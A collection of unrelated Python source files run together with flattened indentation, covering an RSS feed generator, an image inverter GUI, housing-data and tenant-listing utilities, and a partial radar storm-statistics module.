with open(file=scraper_obj.db_path, mode="r", encoding="utf8") as db_file:
stored_data = json.load(db_file)
feed_items = list()
for item in stored_data:
feed_items.append(
rfeed.Item(
title=item["title"],
link=item["link"],
description=None,
author=item["author"],
guid=rfeed.Guid(item["guid"]),
pubDate=datetime.fromtimestamp(item["publication_date"]),
)
)
if scraper_obj.feed_info.image is not None:
feed_image = rfeed.Image(
url=scraper_obj.feed_info.image,
title=scraper_obj.feed_info.title,
link=scraper_obj.feed_info.link,
)
else:
feed_image = None
feed = rfeed.Feed(
title=scraper_obj.feed_info.title,
link=scraper_obj.feed_info.link,
description=scraper_obj.feed_info.description,
language=scraper_obj.feed_info.language,
image=feed_image,
lastBuildDate=datetime.now(),
items=feed_items,
)
return feed.rss()
if __name__ == "__main__":
from scrapers.marinha_scraper import MarinhaScraper
from scrapers.feed_data import FeedInfo
marinha_info = FeedInfo(
title="Marinha do Brasil",
link="https://www.marinha.mil.br",
description="Notícias da Marinha do Brasil",
language="pt-br",
image="https://www.marinha.mil.br/sites/default/files/favicon-logomarca-mb.ico",
)
feed_generator = FeedGenerator()
feed_generator.add_scraper(
scraper_route="marinha_news",
scraper=MarinhaScraper(
feed_info=marinha_info,
database_path=utils.get_data_filepath(filename="marinha.json"),
max_items=30,
),
)
rss_feed = feed_generator.create_feed(scraper_name="marinha_news")
print(rss_feed)
|
# -*- coding: utf-8 -*-
from transformers.opendata.default import DefaultTransformer
class FlotteursTransformer(DefaultTransformer):
MODEL = "Flotteur"
|
#!/usr/bin/env python
# vim: ai ts=4 sts=4 et sw=4
from rapidsms.utils.modules import try_import
from .models import Location
def get_model(name):
"""
"""
for type in Location.subclasses():
if type._meta.module_name == name:
return type
raise StandardError("There is no Location subclass named '%s'" % name)
def form_for_model(model):
"""
"""
parts = model.__module__.split(".")
parts[parts.index("models")] = "forms"
module = try_import(".".join(parts))
form_name = model.__name__ + "Form"
form = getattr(module, form_name)
return form
|
from provider import redfin
from database import postgreSQL
class HousingData(object):
"""
Get housing data and store them into database
Attributes:
name: A string representing the customer's name.
balance: A float tracking the current balance of the customer's account.
"""
def __init__(self):
self.postgre_sql = postgreSQL.PostgreSQL()
self.redfin = redfin.Redfin()
def retrieve_redfin_search_result_by_city(self, city):
"""
:param city:
:return: list of dicts
"""
return self.redfin.retrieve_search_result_by_city(city)
def store_redfin_data(self, housing_data):
"""
:param housing_data: (list of dicts)
:return:
"""
self.postgre_sql.store_redfin_data(housing_data)
return self
|
'''
Invert Image Colors
Copyright (c) 2020 Aditya Singh Tejas
'''
from tkinter import *
from tkinter import messagebox
from PIL import Image
import PIL.ImageOps
from os import path,listdir
from tkinter.ttk import Entry
def invert(input_dir, output_dir):
try:
for img in sorted(listdir(input_dir)):
image=Image.open(path.join(input_dir,img))
inverted_image=PIL.ImageOps.invert(image.convert('RGB'))
inverted_image.save(path.join(output_dir,f'Inverted {path.basename(img)}'))
except Exception as e:
print(e)
messagebox.showerror('Error','Directory not found!')
root=Tk()
root.resizable(False,False)
root.title('Invert Image Colors')
head_label=Label(root,text='Invert Image Colors')
head_label.grid(row=0,column=0,columnspan=2,padx=10,pady=10)
input_label=Label(root,text='Input Directory')
input_label.grid(row=1,column=0,padx=20,pady=10)
input_dir=StringVar()
input_entry=Entry(root,textvariable=input_dir)
input_entry.grid(row=1,column=1,padx=20,pady=10)
output_label=Label(root,text='Output Directory')
output_label.grid(row=2,column=0,padx=20,pady=10)
output_dir=StringVar()
output_entry=Entry(root,textvariable=output_dir)
output_entry.grid(row=2,column=1,padx=20,pady=10)
sub_button=Button(root,text='Start',command=lambda:invert(input_dir.get(),output_dir.get()))
sub_button.grid(row=3,column=0,columnspan=2,padx=10,pady=10,ipadx=20)
cpyrt_label=Label(root,text='Copyright © 2020 Aditya Singh Tejas',bg='grey',fg='white')
cpyrt_label.grid(row=4,column=0,columnspan=2,sticky='nesw')
root.mainloop()
|
STATUS_SCHEDULED = 0
STATUS_RUNNING = 1
STATUS_STOPPING = 2
STATUS_STOPPED = 3
STATUS_FAILED = 4
STATUS_SUCCEEDED = 5
STATUS_TIMEOUT = 6
STATUS_SCHEDULED_ERROR = 7
STATUS_DICT = {
STATUS_SCHEDULED: 'scheduled',
STATUS_RUNNING: 'running',
STATUS_STOPPING: 'stopping',
STATUS_STOPPED: 'stopped',
STATUS_FAILED: 'failed',
STATUS_SUCCEEDED: 'succeeded',
STATUS_TIMEOUT: 'timeout',
STATUS_SCHEDULED_ERROR: 'scheduled error'
}
|
#!/usr/bin/env python
"""
Script to print worker tenants. It gets all tenants from metrics and prints
tenants which are not in "convergence-tenants" config. Takes chef otter.json
as argument
"""
from __future__ import print_function
import json
import os
import sys
import treq
from twisted.internet import task
from twisted.internet.defer import inlineCallbacks
from otter.auth import generate_authenticator, public_endpoint_url
from otter.util.http import append_segments, check_success, headers
def get_tenant_ids(token, catalog):
endpoint = public_endpoint_url(catalog, "cloudMetrics", "IAD")
d = treq.get(
append_segments(endpoint, "metrics", "search"),
headers=headers(token), params={"query": "*.*.desired"})
d.addCallback(check_success, [200])
d.addCallback(treq.json_content)
d.addCallback(lambda body: [item["metric"].split(".")[1] for item in body])
return d
@inlineCallbacks
def main(reactor):
conf = json.load(open(sys.argv[1]))
conf = conf["default_attributes"]["otter"]["config"]
conf["identity"]["strategy"] = "single_tenant"
conf["identity"]["username"] = os.environ["OTTERPROD_UNAME"]
conf["identity"]["password"] = os.environ["OTTERPROD_PWD"]
authenticator = generate_authenticator(reactor, conf["identity"])
token, catalog = yield authenticator.authenticate_tenant("764771")
all_tenants = set((yield get_tenant_ids(token, catalog)))
worker_tenants = all_tenants - set(conf["convergence-tenants"])
print(*worker_tenants, sep='\n')
if __name__ == '__main__':
task.react(main, ())
|
"""
Copyright 2013 Rackspace
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
"""
from datetime import datetime, timedelta
def get_tomorrow_timestamp():
tomorrow = (datetime.today() + timedelta(days=1))
return tomorrow.isoformat()
def string_to_datetime(datetimestring, date_formats=None):
date_formats = date_formats or [
'%Y-%m-%d %H:%M:%S', '%Y-%m-%d %H:%M:%S.%f', '%Y-%m-%dT%H:%M:%S.%fZ',
'%Y-%m-%dT%H:%M:%S.%f', "%Y-%m-%dT%H:%M:%SZ", "%Y-%m-%dT%H:%M:%S"]
for dateformat in date_formats:
try:
return datetime.strptime(datetimestring, dateformat)
except ValueError:
continue
else:
raise
|
"""Methods for computing radar statistics.
These are usually spatial statistics based on values inside a storm object.
"""
import pickle
import numpy
import pandas
import scipy.stats
from gewittergefahr.gg_io import myrorss_and_mrms_io
from gewittergefahr.gg_io import gridrad_io
from gewittergefahr.gg_utils import storm_tracking_utils as tracking_utils
from gewittergefahr.gg_utils import radar_utils
from gewittergefahr.gg_utils import gridrad_utils
from gewittergefahr.gg_utils import radar_sparse_to_full as radar_s2f
from gewittergefahr.gg_utils import time_conversion
from gewittergefahr.gg_utils import dilation
from gewittergefahr.gg_utils import number_rounding as rounder
from gewittergefahr.gg_utils import file_system_utils
from gewittergefahr.gg_utils import error_checking
TOLERANCE = 1e-6
DEFAULT_DILATION_PERCENTILE_LEVEL = 100.
DEFAULT_TIME_FORMAT = '%Y-%m-%d-%H%M%S'
STORM_COLUMNS_TO_KEEP = [
tracking_utils.FULL_ID_COLUMN, tracking_utils.VALID_TIME_COLUMN
]
IS_GRIDRAD_STATISTIC_KEY = 'is_gridrad_statistic'
RADAR_FIELD_NAME_KEY = 'radar_field_name'
RADAR_HEIGHT_KEY = 'radar_height_m_asl'
STATISTIC_NAME_KEY = 'statistic_name'
PERCENTILE_LEVEL_KEY = 'percentile_level'
GRID_METADATA_KEYS_TO_COMPARE = [
radar_utils.NW_GRID_POINT_LAT_COLUMN, radar_utils.NW_GRID_POINT_LNG_COLUMN,
radar_utils.LAT_SPACING_COLUMN, radar_utils.LNG_SPACING_COLUMN,
radar_utils.NUM_LAT_COLUMN, radar_utils.NUM_LNG_COLUMN
]
STORM_OBJECT_TO_GRID_PTS_COLUMNS = [
tracking_utils.FULL_ID_COLUMN, tracking_utils.ROWS_IN_STORM_COLUMN,
tracking_utils.COLUMNS_IN_STORM_COLUMN
]
GRID_POINT_LATLNG_COLUMNS = [
tracking_utils.LATITUDES_IN_STORM_COLUMN,
tracking_utils.LONGITUDES_IN_STORM_COLUMN
]
# TODO(thunderhoser): Currently statistic names cannot have underscores (this
# will ruin _column_name_to_statistic_params). This should be fixed.
AVERAGE_NAME = 'mean'
STANDARD_DEVIATION_NAME = 'stdev'
SKEWNESS_NAME = 'skewness'
KURTOSIS_NAME = 'kurtosis'
STATISTIC_NAMES = [
AVERAGE_NAME, STANDARD_DEVIATION_NAME, SKEWNESS_NAME, KURTOSIS_NAME
]
DEFAULT_STATISTIC_NAMES = [
AVERAGE_NAME, STANDARD_DEVIATION_NAME, SKEWNESS_NAME, KURTOSIS_NAME
]
DEFAULT_PERCENTILE_LEVELS = numpy.array(
[0, 5, 25, 50, 75, 95, 100], dtype=float
)
PERCENTILE_LEVEL_PRECISION = 0.1
DEFAULT_FIELDS_FOR_MYRORSS_AND_MRMS = [
radar_utils.ECHO_TOP_18DBZ_NAME, radar_utils.ECHO_TOP_50DBZ_NAME,
radar_utils.LOW_LEVEL_SHEAR_NAME, radar_utils.MID_LEVEL_SHEAR_NAME,
radar_utils.REFL_COLUMN_MAX_NAME, radar_utils.MESH_NAME,
radar_utils.REFL_0CELSIUS_NAME, radar_utils.REFL_M10CELSIUS_NAME,
radar_utils.REFL_M20CELSIUS_NAME, radar_utils.REFL_LOWEST_ALTITUDE_NAME,
radar_utils.SHI_NAME, radar_utils.VIL_NAME
]
AZIMUTHAL_SHEAR_FIELD_NAMES = [
radar_utils.LOW_LEVEL_SHEAR_NAME, radar_utils.MID_LEVEL_SHEAR_NAME
]
# TODO(thunderhoser): Deal with dual-pol variables in GridRad and the fact that
# they might be missing.
DEFAULT_FIELDS_FOR_GRIDRAD = [
radar_utils.REFL_NAME, radar_utils.SPECTRUM_WIDTH_NAME,
radar_utils.VORTICITY_NAME, radar_utils.DIVERGENCE_NAME
]
DEFAULT_HEIGHTS_FOR_GRIDRAD_M_ASL = numpy.array(
[1000, 2000, 3000, 4000, 5000, 8000, 10000, 12000], dtype=int
)
def _column_name_to_statistic_params(column_name):
"""Determines parameters of statistic from column name.
If column name does not correspond to a statistic, this method will return
None.
:param column_name: Name of column.
:return: parameter_dict: Dictionary with the following keys.
parameter_dict['is_gridrad_statistic']: Boolean flag (True if statistic was
computed by GridRad software, not GewitterGefahr).
parameter_dict['radar_field_name']: Name of radar field on which statistic
is based. None for GridRad statistics.
parameter_dict['radar_height_m_asl']: Radar height (metres above sea level).
None for GridRad statistics.
parameter_dict['statistic_name']: Name of statistic. None for GridRad
statistics and percentiles.
parameter_dict['percentile_level']: Percentile level. None for GridRad
statistics and non-percentile statistics.
"""
column_name_parts = column_name.split('_')
if len(column_name_parts) < 2:
return None
# Determine statistic name or percentile level.
if column_name_parts[-1] in STATISTIC_NAMES:
statistic_name = column_name_parts[-1]
percentile_level = None
else:
statistic_name = None
if not column_name_parts[-1].startswith('percentile'):
return None
percentile_part = column_name_parts[-1].replace('percentile', '')
try:
percentile_level = float(percentile_part)
except ValueError:
return None
# Determine radar field.
radar_field_name = '_'.join(column_name_parts[:-2])
try:
radar_utils.check_field_name(radar_field_name)
except ValueError:
return None
# Determine radar height.
radar_height_part = column_name_parts[-2]
if not radar_height_part.endswith('metres'):
return None
radar_height_part = radar_height_part.replace('metres', '')
try:
radar_height_m_asl = int(radar_height_part)
except ValueError:
return None
return {
IS_GRIDRAD_STATISTIC_KEY: False,
RADAR_FIELD_NAME_KEY: radar_field_name,
RADAR_HEIGHT_KEY: radar_height_m_asl,
STATISTIC_NAME_KEY: statistic_name,
PERCENTILE_LEVEL_KEY: percentile_level
}
def _check_statistic_params(statistic_names, percentile_levels):
"""Ensures that parameters of statistic are valid.
:param statistic_names: 1-D list with names of non-percentile-based
statistics.
:param percentile_levels: 1-D numpy array of percentile levels.
:return: percentile_levels: Same as input, but rounded to the nearest 0.1%.
:raises: ValueError: if any element of `statistic_names` is not in
`STATISTIC_NAMES`.
"""
error_checking.assert_is_string_list(statistic_names)
error_checking.assert_is_numpy_array(
numpy.array(statistic_names), num_dimensions=1)
error_checking.assert_is_numpy_array(percentile_levels, num_dimensions=1)
error_checking.assert_is_geq_numpy_array(percentile_levels, 0.)
error_checking.assert_is_leq_numpy_array(percentile_levels, 100.)
for this_name in statistic_names:
if this_name in STATISTIC_NAMES:
continue
error_string = (
'\n\n' + str(STATISTIC_NAMES) + '\n\nValid statistic names ' +
'(listed above) do not include the following: "' + this_name + '"')
raise ValueError(error_string)
return numpy.unique(
rounder.round_to_nearest(percentile_levels, PERCENTILE_LEVEL_PRECISION))
def are_grids_equal(orig_metadata_dict, new_metadata_dict):
"""Indicates whether or not two grids are equal.
:param orig_metadata_dict: Dictionary with metadata for original grid. Keys
are listed in documentation of `get_grid_points_in_storm_objects`.
:param new_metadata_dict: Dictionary with metadata for new grid. Keys are
listed in documentation of `get_grid_points_in_storm_objects`.
:return: are_grids_equal_flag: Boolean flag.
"""
# TODO(thunderhoser): Put this method somewhere else.
for this_key in GRID_METADATA_KEYS_TO_COMPARE:
this_absolute_diff = numpy.absolute(
orig_metadata_dict[this_key] - new_metadata_dict[this_key])
if this_absolute_diff > TOLERANCE:
return False
return True
def radar_field_and_statistic_to_column_name(
radar_field_name, radar_height_m_asl, statistic_name):
"""Generates column name for radar field and statistic.
:param radar_field_name: Name of radar field.
:param radar_height_m_asl: Radar height (metres above sea level).
:param statistic_name: Name of statistic.
:return: column_name: Name of column.
"""
error_checking.assert_is_string(radar_field_name)
error_checking.assert_is_not_nan(radar_height_m_asl)
error_checking.assert_is_string(statistic_name)
return '{0:s}_{1:d}metres_{2:s}'.format(
radar_field_name, int(numpy.round(radar_height_m_asl)), statistic_name
)
def radar_field_and_percentile_to_column_name(
radar_field_name, radar_height_m_asl, percentile_level):
"""Generates column name for radar field and percentile level.
:param radar_field_name: Name of radar field.
:param radar_height_m_asl: Radar height (metres above sea level).
:param percentile_level: Percentile level.
:return: column_name: Name of column.
"""
error_checking.assert_is_string(radar_field_name)
error_checking.assert_is_not_nan(radar_height_m_asl)
error_checking.assert_is_not_nan(percentile_level)
return '{0:s}_{1:d}metres_percentile{2:05.1f}'.format(
radar_field_name, int(numpy.round(radar_height_m_asl)),
percentile_level
)
def get_statistic_columns(statistic_table):
"""Returns names of columns with radar statistics.
:param statistic_table: pandas DataFrame.
:return: statistic_column_names: 1-D list containing names of columns with
radar statistics. If there are no columns with radar stats, this is
None.
"""
column_names = list(statistic_table)
statistic_column_names = None
for this_column_name in column_names:
this_parameter_dict = _column_name_to_statistic_params(this_column_name)
if this_parameter_dict is None:
continue
if statistic_column_names is None:
statistic_column_names = [this_column_name]
else:
statistic_column_names.append(this_column_name)
return statistic_column_names
def check_statistic_table(statistic_table, require_storm_objects=True):
"""Ensures that pandas DataFrame contains radar statistics.
:param statistic_table: pandas DataFrame.
:param require_storm_objects: Boolean flag. If True, statistic_table must
contain columns "full_id_string" and "unix_time_sec". If False,
statistic_table does not need these columns.
:return: statistic_column_names: 1-D list containing names of columns with
radar statistics.
:raises: ValueError: if statistic_table does not contain any columns with
radar statistics.
"""
statistic_column_names = get_statistic_columns(statistic_table)
if statistic_column_names is None:
raise ValueError(
'statistic_table does not contain any column with radar '
'statistics.')
if require_storm_objects:
error_checking.assert_columns_in_dataframe(
statistic_table, STORM_COLUMNS_TO_KEEP)
return statistic_column_names
def extract_radar_grid_points(field_matrix, row_indices, column_indices):
"""Extracts grid points from radar field.
M = number of rows (unique grid-point latitudes)
N = number of columns (unique grid-point longitudes)
P = number of points to extract
:param field_matrix: M-by-N numpy array with values of a single radar field.
:param row_indices: length-P numpy array with row indices of points to
extract.
:param column_indices: length-P numpy array with column indices of points to
extract.
:return: extracted_values: length-P numpy array of values extracted from
field_matrix.
"""
error_checking.assert_is_real_numpy_array(field_matrix)
error_checking.assert_is_numpy_array(field_matrix, num_dimensions=2)
num_grid_rows = field_matrix.shape[0]
num_grid_columns = field_matrix.shape[1]
error_checking.assert_is_integer_numpy_array(row_indices)
error_checking.assert_is_geq_numpy_array(row_indices, 0)
error_checking.assert_is_less_than_numpy_array(row_indices, num_grid_rows)
error_checking.assert_is_integer_numpy_array(column_indices)
error_checking.assert_is_geq_numpy_array(column_indices, 0)
error_checking.assert_is_less_than_numpy_array(column_indices,
num_grid_columns)
return field_matrix[row_indices, column_indices]
def get_grid_points_in_storm_objects(
storm_object_table, orig_grid_metadata_dict, new_grid_metadata_dict):
"""Finds grid points inside each storm object.
:param storm_object_table: pandas DataFrame with columns specified by
`storm_tracking_io.write_file`.
:param orig_grid_metadata_dict: Dictionary with the following keys,
describing radar grid used to create storm objects.
orig_grid_metadata_dict['nw_grid_point_lat_deg']: Latitude (deg N) of
northwesternmost grid point.
orig_grid_metadata_dict['nw_grid_point_lng_deg']: Longitude (deg E) of
northwesternmost grid point.
orig_grid_metadata_dict['lat_spacing_deg']: Spacing (deg N) between adjacent
rows.
orig_grid_metadata_dict['lng_spacing_deg']: Spacing (deg E) between adjacent
columns.
orig_grid_metadata_dict['num_lat_in_grid']: Number of rows (unique grid-
point latitudes).
orig_grid_metadata_dict['num_lng_in_grid']: Number of columns (unique grid-
point longitudes).
:param new_grid_metadata_dict: Same as `orig_grid_metadata_dict`, except for
new radar grid. We want to know grid points inside each storm object
for the new grid.
:return: storm_object_to_grid_points_table: pandas DataFrame with the
following columns. Each row is one storm object.
storm_object_to_grid_points_table.full_id_string: String ID for storm cell.
storm_object_to_grid_points_table.grid_point_rows: 1-D numpy array with row
indices (integers) of grid points in storm object.
storm_object_to_grid_points_table.grid_point_columns: 1-D numpy array with
column indices (integers) of grid points in storm object.
"""
if are_grids_equal(orig_grid_metadata_dict, new_grid_metadata_dict):
return storm_object_table[STORM_OBJECT_TO_GRID_PTS_COLUMNS]
storm_object_to_grid_points_table = storm_object_table[
STORM_OBJECT_TO_GRID_PTS_COLUMNS + GRID_POINT_LATLNG_COLUMNS
]
num_storm_objects = len(storm_object_to_grid_points_table.index)
for i in range(num_storm_objects):
these_grid_rows, these_grid_columns = radar_utils.latlng_to_rowcol(
latitudes_deg=storm_object_to_grid_points_table[
tracking_utils.LATITUDES_IN_STORM_COLUMN].values[i],
longitudes_deg=storm_object_to_grid_points_table[
tracking_utils.LONGITUDES_IN_STORM_COLUMN].values[i],
nw_grid_point_lat_deg=new_grid_metadata_dict[
radar_utils.NW_GRID_POINT_LAT_COLUMN],
nw_grid_point_lng_deg=new_grid_metadata_dict[
radar_utils.NW_GRID_POINT_LNG_COLUMN],
lat_spacing_deg=new_grid_metadata_dict[
radar_utils.LAT_SPACING_COLUMN],
lng_spacing_deg=new_grid_metadata_dict[
radar_utils.LNG_SPACING_COLUMN]
)
storm_object_to_grid_points_table[
tracking_utils.ROWS_IN_STORM_COLUMN
].values[i] = these_grid_rows
storm_object_to_grid_points_table[
tracking_utils.COLUMNS_IN_STORM_COLUMN
].values[i] = these_grid_columns
return storm_object_to_grid_points_table[STORM_OBJECT_TO_GRID_PTS_COLUMNS]
def get_spatial_statistics(radar_field, statistic_names=DEFAULT_STATISTIC_NAMES,
percentile_levels=DEFAULT_PERCENTILE_LEVELS):
"""Computes spatial statistics for a single radar field.
"Single field" = one variable at one elevation, one time step, many spatial
locations.
Radar field may have any number of dimensions (1-D, 2-D, etc.).
N = number of non-percentile-based statistics
P = number of percentile levels
:param radar_field: numpy array. Each position in the array should be a
different spatial location.
:param statistic_names: length-N list of non-percentile-based statistics.
:param percentile_levels: length-P numpy array of percentile levels.
:return: statistic_values: length-N numpy with values of non-percentile-
based statistics.
:return: percentile_values: length-P numpy array of percentiles.
"""
error_checking.assert_is_real_numpy_array(radar_field)
percentile_levels = _check_statistic_params(
statistic_names, percentile_levels)
num_statistics = len(statistic_names)
statistic_values = numpy.full(num_statistics, numpy.nan)
for i in range(num_statistics):
if statistic_names[i] == AVERAGE_NAME:
statistic_values[i] = numpy.nanmean(radar_field)
elif statistic_names[i] == STANDARD_DEVIATION_NAME:
statistic_values[i] = numpy.nanstd(radar_field, ddof=1)
elif statistic_names[i] == SKEWNESS_NAME:
statistic_values[i] = scipy.stats.skew(
radar_field, bias=False, nan_policy='omit', axis=None)
elif statistic_names[i] == KURTOSIS_NAME:
statistic_values[i] = scipy.stats.kurtosis(
radar_field, fisher=True, bias=False, nan_policy='omit',
axis=None)
percentile_values = numpy.nanpercentile(
radar_field, percentile_levels, interpolation='linear')
return statistic_values, percentile_values
def get_storm_based_radar_stats_myrorss_or_mrms(
storm_object_table, top_radar_dir_name,
radar_metadata_dict_for_tracking,
statistic_names=DEFAULT_STATISTIC_NAMES,
percentile_levels=DEFAULT_PERCENTILE_LEVELS,
radar_field_names=DEFAULT_FIELDS_FOR_MYRORSS_AND_MRMS,
reflectivity_heights_m_asl=None,
radar_source=radar_utils.MYRORSS_SOURCE_ID,
dilate_azimuthal_shear=False,
dilation_half_width_in_pixels=dilation.DEFAULT_HALF_WIDTH,
dilation_percentile_level=DEFAULT_DILATION_PERCENTILE_LEVEL):
"""Computes radar statistics for each storm object.
In this case, radar data must be from MYRORSS or MRMS.
N = number of storm objects
P = number of field/height pairs
S = number of statistics (percentile- and non-percentile-based)
:param storm_object_table: See documentation for
`get_storm_based_radar_stats_gridrad`.
:param top_radar_dir_name: See doc for
`get_storm_based_radar_stats_gridrad`.
:param radar_metadata_dict_for_tracking: Dictionary created by
`myrorss_and_mrms_io.read_metadata_from_raw_file`, describing radar grid
used to create storm objects.
:param statistic_names: 1-D list of non-percentile-based statistics.
:param percentile_levels: 1-D numpy array of percentile levels.
:param radar_field_names: 1-D list of radar fields for which stats will be
computed.
:param reflectivity_heights_m_asl: 1-D numpy array of heights (metres above
sea level) for the field "reflectivity_dbz". If "reflectivity_dbz" is
not in `radar_field_names`, you can leave this as None.
:param radar_source: Source of radar data (either "myrorss" or "mrms").
:param dilate_azimuthal_shear: Boolean flag. If False, azimuthal-shear
stats will be based only on values inside the storm object. If True,
azimuthal-shear fields will be dilated, so azimuthal-shear stats will be
based on values inside and near the storm object. This is useful
because sometimes large az-shear values occur just outside the storm
object.
:param dilation_half_width_in_pixels: See documentation for
`dilation.dilate_2d_matrix`.
:param dilation_percentile_level: See documentation for
`dilation.dilate_2d_matrix`.
:return: storm_object_statistic_table: pandas DataFrame with 2 + S * P
columns. The last S * P columns are one for each statistic-field-height
tuple. Names of these columns are determined by
`radar_field_and_statistic_to_column_name` and
`radar_field_and_percentile_to_column_name`. The first 2 columns are
listed below.
storm_object_statistic_table.full_id_string: Storm ID (taken from input
table).
storm_object_statistic_table.unix_time_sec: Valid time (taken from input
table).
"""
error_checking.assert_is_boolean(dilate_azimuthal_shear)
percentile_levels = _check_statistic_params(
statistic_names, percentile_levels)
# Find radar files.
spc_date_strings = (
storm_object_table[tracking_utils.SPC_DATE_COLUMN].values.tolist()
)
file_dictionary = myrorss_and_mrms_io.find_many_raw_files(
desired_times_unix_sec=storm_object_table[
tracking_utils.VALID_TIME_COLUMN].values.astype(int),
spc_date_strings=spc_date_strings, data_source=radar_source,
field_names=radar_field_names, top_directory_name=top_radar_dir_name,
reflectivity_heights_m_asl=reflectivity_heights_m_asl)
radar_file_name_matrix = file_dictionary[
myrorss_and_mrms_io.RADAR_FILE_NAMES_KEY
]
radar_field_name_by_pair = file_dictionary[
myrorss_and_mrms_io.FIELD_NAME_BY_PAIR_KEY
]
radar_height_by_pair_m_asl = file_dictionary[
myrorss_and_mrms_io.HEIGHT_BY_PAIR_KEY
]
valid_times_unix_sec = file_dictionary[myrorss_and_mrms_io.UNIQUE_TIMES_KEY]
valid_spc_date_strings = [
time_conversion.time_to_spc_date_string(t) for t in
file_dictionary[myrorss_and_mrms_io.SPC_DATES_AT_UNIQUE_TIMES_KEY]
]
# Initialize output.
num_field_height_pairs = len(radar_field_name_by_pair)
num_valid_times = len(valid_times_unix_sec)
num_statistics = len(statistic_names)
num_percentiles = len(percentile_levels)
num_storm_objects = len(storm_object_table.index)
statistic_matrix = numpy.full(
(num_storm_objects, num_field_height_pairs, num_statistics), numpy.nan)
percentile_matrix = numpy.full(
(num_storm_objects, num_field_height_pairs, num_percentiles), numpy.nan)
valid_time_strings = [
time_conversion.unix_sec_to_string(t, DEFAULT_TIME_FORMAT)
for t in valid_times_unix_sec
]
for j in range(num_field_height_pairs):
for i in range(num_valid_times):
if radar_file_name_matrix[i, j] is None:
continue
print((
'Computing stats for "{0:s}" at {1:d} metres ASL and {2:s}...'
).format(
radar_field_name_by_pair[j],
int(numpy.round(radar_height_by_pair_m_asl[j])),
valid_time_strings[i]
))
this_metadata_dict = (
myrorss_and_mrms_io.read_metadata_from_raw_file(
radar_file_name_matrix[i, j], data_source=radar_source)
)
if radar_metadata_dict_for_tracking is None:
this_storm_to_grid_points_table = storm_object_table[
STORM_OBJECT_TO_GRID_PTS_COLUMNS]
else:
this_storm_to_grid_points_table = (
get_grid_points_in_storm_objects(
storm_object_table=storm_object_table,
orig_grid_metadata_dict=
radar_metadata_dict_for_tracking,
new_grid_metadata_dict=this_metadata_dict)
)
# Read data for [j]th field/height pair at [i]th time step.
sparse_grid_table_this_field_height = (
myrorss_and_mrms_io.read_data_from_sparse_grid_file(
radar_file_name_matrix[i, j],
field_name_orig=this_metadata_dict[
myrorss_and_mrms_io.FIELD_NAME_COLUMN_ORIG],
data_source=radar_source,
sentinel_values=this_metadata_dict[
radar_utils.SENTINEL_VALUE_COLUMN]
)
)
radar_matrix_this_field_height = radar_s2f.sparse_to_full_grid(
sparse_grid_table_this_field_height, this_metadata_dict
)[0]
if (dilate_azimuthal_shear and radar_field_name_by_pair[j] in
AZIMUTHAL_SHEAR_FIELD_NAMES):
print('Dilating azimuthal-shear field...')
radar_matrix_this_field_height = dilation.dilate_2d_matrix(
radar_matrix_this_field_height,
percentile_level=dilation_percentile_level,
half_width_in_pixels=dilation_half_width_in_pixels,
take_largest_absolute_value=True)
radar_matrix_this_field_height[
numpy.isnan(radar_matrix_this_field_height)
] = 0.
# Find storm objects at [i]th valid time.
these_storm_flags = numpy.logical_and(
storm_object_table[tracking_utils.VALID_TIME_COLUMN].values ==
valid_times_unix_sec[i],
storm_object_table[tracking_utils.SPC_DATE_COLUMN].values ==
valid_spc_date_strings[i]
)
these_storm_indices = numpy.where(these_storm_flags)[0]
# Extract storm-based radar stats for [j]th field/height pair at
# [i]th time step.
for this_storm_index in these_storm_indices:
radar_values_this_storm = extract_radar_grid_points(
radar_matrix_this_field_height,
row_indices=this_storm_to_grid_points_table[
tracking_utils.ROWS_IN_STORM_COLUMN].values[
this_storm_index].astype(int),
column_indices=this_storm_to_grid_points_table[
tracking_utils.COLUMNS_IN_STORM_COLUMN].values[
this_storm_index].astype(int)
)
(statistic_matrix[this_storm_index, j, :],
percentile_matrix[this_storm_index, j, :]
) = get_spatial_statistics(
radar_values_this_storm, statistic_names=statistic_names,
percentile_levels=percentile_levels)
# Create pandas DataFrame.
storm_object_statistic_dict = {}
for j in range(num_field_height_pairs):
for k in range(num_statistics):
this_column_name = radar_field_and_statistic_to_column_name(
radar_field_name=radar_field_name_by_pair[j],
radar_height_m_asl=radar_height_by_pair_m_asl[j],
statistic_name=statistic_names[k])
storm_object_statistic_dict.update(
{this_column_name: statistic_matrix[:, j, k]}
)
for k in range(num_percentiles):
this_column_name = radar_field_and_percentile_to_column_name(
radar_field_name=radar_field_name_by_pair[j],
radar_height_m_asl=radar_height_by_pair_m_asl[j],
percentile_level=percentile_levels[k])
storm_object_statistic_dict.update(
{this_column_name: percentile_matrix[:, j, k]}
)
storm_object_statistic_table = pandas.DataFrame.from_dict(
storm_object_statistic_dict)
return pandas.concat(
[storm_object_table[STORM_COLUMNS_TO_KEEP],
storm_object_statistic_table], axis=1)
def get_storm_based_radar_stats_gridrad(
storm_object_table, top_radar_dir_name,
statistic_names=DEFAULT_STATISTIC_NAMES,
percentile_levels=DEFAULT_PERCENTILE_LEVELS,
radar_field_names=DEFAULT_FIELDS_FOR_GRIDRAD,
radar_heights_m_asl=DEFAULT_HEIGHTS_FOR_GRIDRAD_M_ASL):
"""Computes radar statistics for each storm object.
In this case, radar data must be from GridRad.
N = number of storm objects
F = number of radar fields
H = number of radar heights
S = number of statistics (percentile- and non-percentile-based)
:param storm_object_table: N-row pandas DataFrame with columns listed in
`storm_tracking_io.write_file`. Each row is one storm object.
:param top_radar_dir_name: [input] Name of top-level directory with radar
data from the given source.
:param statistic_names: 1-D list of non-percentile-based statistics.
:param percentile_levels: 1-D numpy array of percentile levels.
:param radar_field_names: length-F list of radar fields for which stats will
be computed.
:param radar_heights_m_asl: length-H numpy array of radar heights (metres
above sea level).
:return: storm_object_statistic_table: pandas DataFrame with 2 + S * F * H
columns. The last S * F * H columns are one for each statistic-field-
height tuple. Names of these columns are determined by
`radar_field_and_statistic_to_column_name` and
`radar_field_and_percentile_to_column_name`. The first 2 columns are
listed below.
storm_object_statistic_table.full_id_string: Storm ID (taken from input
table).
storm_object_statistic_table.unix_time_sec: Valid time (taken from input
table).
"""
# Error-checking.
percentile_levels = _check_statistic_params(
statistic_names, percentile_levels)
_, _ = gridrad_utils.fields_and_refl_heights_to_pairs(
field_names=radar_field_names, heights_m_asl=radar_heights_m_asl)
